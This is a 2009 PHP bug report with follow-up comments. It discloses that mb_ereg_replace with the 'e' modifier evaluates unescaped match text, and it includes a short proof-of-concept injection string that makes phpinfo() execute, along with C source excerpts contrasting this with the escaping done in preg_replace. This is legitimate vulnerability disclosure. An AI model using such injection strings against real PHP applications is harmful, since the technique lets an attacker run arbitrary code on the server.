ID:               48180
 User updated by:  5up3rh3i at gmail dot com
 Reported By:      5up3rh3i at gmail dot com
 Status:           Open
 Bug Type:         mbstring related
 Operating System: *
 PHP Version:      5.2.9
 New Comment:

<?php

function ryat() {}

$str = '\', phpinfo(), \'';
mb_ereg_replace('^(.*)$', 'ryat(\'\1\')', $str, 'e');

?>

plz try this code


Previous Comments:
------------------------------------------------------------------------

[2009-05-07 16:20:54] 5up3rh3i at gmail dot com

Sorry, the test code is woring

------------------------------------------------------------------------

[2009-05-07 16:15:56] j...@php.net

PHP Parse error:  syntax error, unexpected T_LNUMBER, expecting
T_STRING 
in /home/jani/t.php on line 3


------------------------------------------------------------------------

[2009-05-07 14:54:22] 5up3rh3i at gmail dot com

Description:
------------
when option parameter set e, matches not be escaped.

ex:

<?php

function 80vul() {}

$str = '\', phpinfo(), \'';
mb_ereg_replace('^(.*)$', '80vul(\'\1\')', $str, 'e');

?>

phpinfo() will be evaluated.

mb_ereg_replace()

                                if ((replace_len - i) >= 2 && fwd == 1 &&
                                        p[0] == '\\' && p[1] >= '0' && p[1] <= 
'9') {
                                        n = p[1] - '0';
                                }
                                if (n >= 0 && n < regs->num_regs) {
                                        if (regs->beg[n] >= 0 && regs->beg[n] < 
regs->end[n] &&
regs->end[n] <= string_len) {
                                                smart_str_appendl(pbuf, string 
+ regs->beg[n], regs->end[n] -
regs->beg[n]);
// matches not be escaped
                                        }
                                        
preg_replace()

                if ('\\' == *walk || '$' == *walk) {
                        smart_str_appendl(&code, segment, walk - segment);
                        if (walk_last == '\\') {
                                code.c[code.len-1] = *walk++;
                                segment = walk;
                                walk_last = 0;
                                continue;
                        }
                        segment = walk;
                        if (preg_get_backref(&walk, &backref)) {
                                if (backref < count) {
                                        /* Find the corresponding string match 
and substitute it
                                           in instead of the backref */
                                        match = subject + offsets[backref<<1];
                                        match_len = offsets[(backref<<1)+1] - 
offsets[backref<<1];
                                        if (match_len) {
                                                esc_match = 
php_addslashes_ex(match, match_len, &esc_match_len,
0, 1 TSRMLS_CC);
// matches escaped by addslashes()
...
                                smart_str_appendl(&code, esc_match, 
esc_match_len);



------------------------------------------------------------------------


-- 
Edit this bug report at http://bugs.php.net/?id=48180&edit=1

Reply via email to